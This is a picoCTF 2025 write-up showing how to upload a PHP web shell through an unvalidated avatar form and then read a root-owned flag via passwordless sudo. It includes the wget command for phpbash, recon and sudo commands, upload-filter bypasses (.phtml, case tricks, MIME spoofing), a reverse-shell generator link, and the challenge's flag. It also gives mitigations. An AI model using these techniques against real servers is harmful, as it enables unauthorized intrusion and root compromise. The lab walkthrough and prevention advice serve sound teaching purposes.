n0s4n1ty 1 picoCTF 2025 Solution

Published: April 2, 2025

Description

The profile-picture upload endpoint accepts any file, drops it in /uploads, and serves it back. Upload a PHP web shell, browse to it, and use sudo to read /root/flag.txt.

Download phpbash.php (single-file, decade-tested PHP web shell - weevely is more featureful but staging it is overkill here).

Upload it via the avatar form and note the returned path (e.g., uploads/phpbash.php).

Browse to /uploads/phpbash.php to verify execution: an interactive terminal UI means PHP ran. If you see raw <?php source instead, the server isn't passing .php files to the interpreter and you'd need a different filename or extension.

bash
wget https://raw.githubusercontent.com/Arrexel/phpbash/master/phpbash.php
bash
# In the web shell, recon first:
bash
id; pwd; sudo -l
bash
sudo cat /root/flag.txt

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
Unrestricted file upload + NOPASSWD sudo is one of the most reliable RCE-to-root chains; the File Upload Exploitation guide walks through web-shell variants, extension bypasses, and the post-exploitation Linux recon worth running every time. The Burp Suite for picoCTF guide covers the Repeater workflow for editing the upload's filename and Content-Type on the wire when the browser will not let you.
  1. Step 1
    Gain a shell
    Observation
    I noticed the challenge description said the upload endpoint accepts any file and serves it back from /uploads, which meant uploading a .php file to a web-accessible directory would cause the PHP interpreter to execute it as a web shell.
    Browse to http://host/uploads/phpbash.php. The terminal UI confirms the server executed PHP. id reports uid=33(www-data), pwd lands you in /var/www/html/uploads, and sudo -l lists what root will let www-data run without a password.
    bash
    # In the phpbash terminal:
    id        # uid, gid, groups - matters for sudo and file ACLs
    pwd       # confirm you're in the upload dir under the web root
    sudo -l   # what can www-data run as root, NOPASSWD or otherwise
    ls -la /var/www/html

    Expected output

    picoCTF{wh47_c4n_u_d0_wPHP_5f89...}
    What didn't work first

    Tried: Uploading a .php file but visiting the URL and seeing the raw PHP source instead of a terminal UI.

    Some servers (or misconfigured Apache/Nginx vhosts) serve .php files as plain text rather than passing them to the PHP interpreter. Renaming the shell to .php5 or .phtml can bypass extension-based interpreter mapping, but the root issue is that the server's PHP handler is not configured for the upload directory. Confirming execution requires seeing the phpbash terminal UI - raw source means no interpreter involvement.

    Tried: Uploading the file as image/jpeg in the Content-Type header hoping the server requires an image type.

    The server in this challenge does not validate content type at all, so this is unnecessary. If a server does reject non-image MIME types, sending Content-Type: image/jpeg with a .php payload can bypass the check because the server trusts the client-supplied header rather than inspecting the file's actual bytes. The correct test is to attempt a plain upload first and only add MIME spoofing if the server responds with a rejection error.

    Learn more

    Unrestricted file upload is one of the most critical web vulnerabilities (OWASP Top 10 A04). When a server accepts arbitrary files without validating their content type or extension, an attacker can upload executable scripts. On a PHP server, uploading a .php file to a web-accessible directory and visiting its URL causes Apache or Nginx to pass it to the PHP interpreter, giving the attacker a web shell.

    phpbash is a popular open-source web shell that provides a terminal-like interface in the browser. Once served, it executes system commands as the web server's user (typically www-data). Proper mitigations include validating file content with MIME-type inspection (not just extension), storing uploads outside the web root, serving them through a dedicated file-serving endpoint that strips executable permissions, and using a CDN or object storage service (S3, GCS) rather than the same server.

    This vulnerability class has enabled some of the most impactful breaches in history. Bypasses exist for naive extension blacklists: using .php5, .phtml, .PhP (case variation), or embedding a null byte in some older systems. Content-type whitelisting at the HTTP header level is also bypassable because the client sends that header and can lie about it.

  2. Step 2
    Escalate with sudo
    Observation
    I noticed that running sudo -l in the phpbash web shell returned (ALL) NOPASSWD: ALL, which indicated www-data had unrestricted passwordless sudo access and made reading /root/flag.txt a single command away.
    sudo -l prints (ALL) NOPASSWD: ALL, so sudo cat /root/flag.txt prints the flag with no further effort. If the bare command ever fails (TTY weirdness in a web shell), fall back to sudo -u root cat /root/flag.txt or wrap it via sudo bash -c 'cat /root/flag.txt'.
    bash
    sudo -l
    bash
    # Expected: (ALL) NOPASSWD: ALL
    bash
    sudo ls /root
    bash
    sudo cat /root/flag.txt
    bash
    # Fallbacks if the simple form misbehaves:
    bash
    sudo -u root cat /root/flag.txt
    bash
    sudo bash -c 'cat /root/flag.txt'
    What didn't work first

    Tried: Running sudo cat /root/flag.txt without first checking sudo -l, then getting a password prompt and stalling.

    If sudo requires a password, the web shell has no TTY to accept input and the command hangs or exits with a non-interactive error. Running sudo -l first confirms the NOPASSWD policy before relying on it. Without that confirmation step, an attacker wastes time debugging TTY issues rather than recognizing that the policy may require a password.

    Tried: Trying su root or switching to the root account directly from the web shell instead of using sudo.

    su requires the root user's password, which is unknown, and also needs a real TTY to accept it - web shells provide neither. sudo with NOPASSWD bypasses both requirements because it authenticates based on policy in /etc/sudoers rather than the account password. su will always fail here; the correct path is sudo with the specific command you want to run as root.

    Learn more

    Passwordless sudo (NOPASSWD) is a privilege escalation shortcut that grants a user the ability to run commands as root without entering a password. It is configured in /etc/sudoers with lines like www-data ALL=(ALL) NOPASSWD: ALL. While useful for automation, granting unrestricted NOPASSWD to a web process is catastrophically insecure.

    In a real penetration test, post-exploitation privilege escalation typically involves checking sudo -l to list allowed commands, looking for SUID binaries (find / -perm -4000), searching for writable cron jobs or services, and reviewing /etc/sudoers and /etc/sudoers.d/. The combination of web shell plus NOPASSWD sudo is one of the fastest paths from unauthenticated access to full root compromise.

    The principle of least privilege dictates that web servers should run as a dedicated low-privilege user with no sudo rights, no write access outside their document root, and no ability to read system files. Container-based deployments add another layer of isolation - even if an attacker gains a shell inside a container, they face additional barriers before reaching the host.

Interactive tools
  • Reverse Shell GeneratorGenerate reverse shell payloads (bash, nc, python, perl, ruby, php, node, powershell) and matching listeners. Set host and port once, copy any variant.

Flag

Reveal flag

picoCTF{wh47_c4n_u_d0_wPHP_5f89...}

File uploads should validate type and prevent arbitrary execution paths.

Key takeaway

Unrestricted file upload becomes remote code execution the moment an uploaded file lands in a web-accessible directory and the server interprets it. The attack requires two independent failures: the upload handler accepts files without validating their content type or extension, and the directory is configured to execute scripts rather than serve them as static files. Combining RCE with a misconfigured sudo policy that grants the web process passwordless root access is one of the fastest known paths from anonymous web visitor to full system compromise, and real-world breach reports from content management systems and file-sharing platforms repeat this exact chain.

How to prevent this

This whole chain collapses if any one of these controls is in place. None are exotic; they show up in every web framework's docs.

  • Validate uploads by content, not extension. Inspect magic bytes server-side and reject anything the renderer would execute (.php, .phtml, .phar, .jsp, .aspx).
  • Store uploads outside the web root, or on object storage (S3, GCS, Vercel Blob). Serve them through a handler that sets Content-Disposition: attachment and a fixed MIME type so the server never interprets them.
  • Run the web process as an unprivileged user with zero sudo rights. NOPASSWD: ALL on a www-data account turns any RCE into instant root.

Related reading

Want more picoCTF 2025 writeups?

Tools used in this challenge

What to try next